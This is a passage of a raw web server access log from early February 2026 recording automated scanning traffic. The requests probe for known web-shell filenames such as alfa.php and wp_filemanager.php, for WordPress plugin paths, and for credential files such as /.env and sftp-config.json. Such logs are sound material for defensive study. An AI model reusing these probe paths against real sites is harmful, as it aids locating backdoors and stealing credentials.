[02/Feb/2026:16:02:45 +0300] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:45 +0300] "GET /wp-content/plugins/core/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:45 +0300] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:45 +0300] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:45 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:45 +0300] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:46 +0300] "GET /fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:46 +0300] "GET /js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:46 +0300] "GET /routes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:46 +0300] "GET /uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:47 +0300] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:02:47 +0300] "GET /wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:48 +0300] "GET /wp-content/plugins/wp-theme-editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:48 +0300] "GET /templates/atomic/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:48 +0300] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:48 +0300] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:48 +0300] "GET /wp-content/plugins/google-seo-rank/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:02:48 +0300] "GET /wp-content/plugins/erin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:48 +0300] "GET /wp-content/maintenance/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:49 +0300] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.53.96 - - [02/Feb/2026:16:02:49 +0300] "GET /wp-content/plugins/seooyanz/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:02:49 +0300] "GET /wp-content/themes/sky-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:02:49 +0300] "GET /wp-content/plugins/cp-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:02:49 +0300] "GET /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:02:49 +0300] "GET /wp-content/uploads/typehub/custom/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.53.96 - - [02/Feb/2026:16:02:49 +0300] "GET /wp-content/plugins/rencontre/inc/photo_import/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:50 +0300] "GET /wp-content/plugins/backup-backup/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:02:50 +0300] "GET /wp-content/plugins/pwnd-1/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:50 +0300] "GET /.tmb/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:02:50 +0300] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:02:50 +0300] "GET /includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:02:51 +0300] "GET /themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.41.98.38 - - [02/Feb/2026:16:33:58 +0300] "GET /rip.php HTTP/1.1" 301 795 "-" "-" 20.41.98.38 - - [02/Feb/2026:16:33:49 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 93.123.109.58 - - [02/Feb/2026:18:53:48 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 35.202.76.37 - - [02/Feb/2026:18:55:01 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36" 35.202.76.37 - - [02/Feb/2026:18:55:03 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36" 93.123.109.58 - - [02/Feb/2026:18:54:04 +0300] "POST / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 150.109.46.88 - - [02/Feb/2026:18:43:00 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 222.184.48.235 - - [02/Feb/2026:19:24:41 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.131.45.213 - - [02/Feb/2026:19:39:11 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 35.202.76.37 - - [02/Feb/2026:18:54:58 +0300] "GET / HTTP/1.1" 301 795 "-" "Ruby" 8.215.88.250 - - [02/Feb/2026:19:50:07 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 27.46.75.5 - - [02/Feb/2026:19:52:23 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.3408.98 Safari/537.36 OPR/63.0.3368.43" 5.45.77.43 - - [02/Feb/2026:20:56:35 +0300] "GET /.well-known/pki-validation/vlihsdna/ HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" 5.45.77.43 - - [02/Feb/2026:20:56:39 +0300] "GET /wp-content/plugins/akismet/_inc/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" 5.45.77.43 - - [02/Feb/2026:20:56:35 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" 5.45.77.43 - - [02/Feb/2026:20:56:43 +0300] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" 5.45.77.43 - - [02/Feb/2026:20:56:35 +0300] "GET /.well-known/pki-validation/ HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" 5.45.77.43 - - [02/Feb/2026:20:56:36 +0300] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" 5.45.77.43 - - [02/Feb/2026:20:56:40 +0300] "GET /wp-content/plugins/akismet/_inc/img/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" 5.45.77.43 - - [02/Feb/2026:20:56:41 +0300] "GET /wp-content/plugins/akismet/_inc/rtl/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" 5.45.77.43 - - [02/Feb/2026:20:56:42 +0300] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" 5.45.77.43 - - [02/Feb/2026:20:56:41 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" 5.45.77.43 - - [02/Feb/2026:20:56:43 +0300] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" 181.215.182.163 - - [02/Feb/2026:20:57:32 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 5.45.77.43 - - [02/Feb/2026:20:56:38 +0300] "GET /wp-content/plugins/akismet/_inc/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" 5.45.77.43 - - [02/Feb/2026:20:56:37 +0300] "GET /.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" 36.41.75.167 - - [02/Feb/2026:21:32:00 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 109.105.210.53 - - [02/Feb/2026:23:51:36 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36" 192.36.166.94 - - [02/Feb/2026:23:55:34 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115" 109.105.210.55 - - [02/Feb/2026:23:51:57 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36" 43.156.156.96 - - [03/Feb/2026:01:01:19 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.153.104.196 - - [03/Feb/2026:02:02:01 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 107.174.231.218 - - [03/Feb/2026:02:48:29 +0300] "GET /wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 147.45.244.253 - - [03/Feb/2026:05:48:47 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 114.80.36.40 - - [03/Feb/2026:04:28:48 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.153.119.119 - - [03/Feb/2026:07:25:52 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 40.69.66.178 - - [03/Feb/2026:07:18:21 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 91.202.4.80 - - [03/Feb/2026:07:43:03 +0300] "GET /b7uhgnxmx4szcv8jxtzroCdefault.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 103.77.107.57 - - [03/Feb/2026:07:33:53 +0300] "GET /sftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 103.77.107.57 - - [03/Feb/2026:07:33:57 +0300] "GET /.vscode/sftp.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 4.217.180.34 - - [03/Feb/2026:09:15:22 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [03/Feb/2026:09:15:25 +0300] "GET /black.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [03/Feb/2026:09:15:27 +0300] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [03/Feb/2026:09:15:29 +0300] "GET /bjfl.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [03/Feb/2026:09:15:31 +0300] "GET /sko.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [03/Feb/2026:09:15:33 +0300] "GET /obfuscate.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [03/Feb/2026:09:15:36 +0300] "GET /img.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [03/Feb/2026:09:15:38 +0300] "GET /co.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [03/Feb/2026:09:15:39 +0300] "GET /iswfg.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [03/Feb/2026:09:15:41 +0300] "GET /acxx.php?p= HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [03/Feb/2026:09:15:44 +0300] "GET /vjooe.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [03/Feb/2026:09:15:46 +0300] "GET /wikindex.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [03/Feb/2026:09:15:48 +0300] "GET /tool.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [03/Feb/2026:09:15:50 +0300] "GET /py.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [03/Feb/2026:09:15:53 +0300] "GET /155.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [03/Feb/2026:09:15:56 +0300] "GET /iko.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [03/Feb/2026:09:15:59 +0300] "GET /wefile.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [03/Feb/2026:09:16:01 +0300] "GET /gfd.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [03/Feb/2026:09:16:04 +0300] "GET /bnm.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [03/Feb/2026:09:16:06 +0300] "GET /edit-tags.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [03/Feb/2026:09:16:08 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [03/Feb/2026:09:16:10 +0300] "GET /lkj.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [03/Feb/2026:09:16:13 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [03/Feb/2026:09:16:15 +0300] "GET /wp-admin/js/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [03/Feb/2026:09:16:20 +0300] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [03/Feb/2026:09:16:22 +0300] "GET /wp-includes/block-patterns/index.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [03/Feb/2026:09:16:25 +0300] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [03/Feb/2026:09:16:27 +0300] "GET /readme.php?p= HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [03/Feb/2026:09:16:30 +0300] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [03/Feb/2026:09:16:32 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [03/Feb/2026:09:16:34 +0300] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [03/Feb/2026:09:16:36 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [03/Feb/2026:09:16:38 +0300] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [03/Feb/2026:09:16:41 +0300] "GET /atx.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [03/Feb/2026:09:16:43 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [03/Feb/2026:09:16:45 +0300] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [03/Feb/2026:09:16:48 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [03/Feb/2026:09:16:50 +0300] "GET /global.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [03/Feb/2026:09:16:52 +0300] "GET /core.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [03/Feb/2026:09:16:54 +0300] "GET /thoms.php HTTP/1.1" 301 795 "-" "-" 4.217.180.34 - - [03/Feb/2026:09:16:57 +0300] "GET /irc.js.php HTTP/1.1" 301 795 "-" "-" 45.194.92.21 - - [03/Feb/2026:08:38:32 +0300] "GET /server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 162.62.213.187 - - [03/Feb/2026:08:24:26 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 194.5.82.38 - - [03/Feb/2026:10:52:26 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.38 - - [03/Feb/2026:10:52:26 +0300] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:26 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:52:26 +0300] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:52:27 +0300] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:52:27 +0300] "GET /wp-includes/bk/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:27 +0300] "GET /file2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.38 - - [03/Feb/2026:10:52:28 +0300] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:28 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:28 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:28 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:29 +0300] "GET /wp-content/uploads/2025/04/natural.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.82.38 - - [03/Feb/2026:10:52:29 +0300] "GET /wp-includes/theme-compat/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.38 - - [03/Feb/2026:10:52:30 +0300] "GET /zwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:30 +0300] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:30 +0300] "GET /wp-includes/IXR/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:30 +0300] "GET /wp-includes/js/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.82.38 - - [03/Feb/2026:10:52:31 +0300] "GET /wp-includes/pomo/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.82.38 - - [03/Feb/2026:10:52:31 +0300] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.5.82.38 - - [03/Feb/2026:10:52:32 +0300] "GET /wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.82.38 - - [03/Feb/2026:10:52:32 +0300] "GET /bitrix/admin/htmleditor2/natural.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.82.38 - - [03/Feb/2026:10:52:32 +0300] "GET /wp-includes/Requests/Auth/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 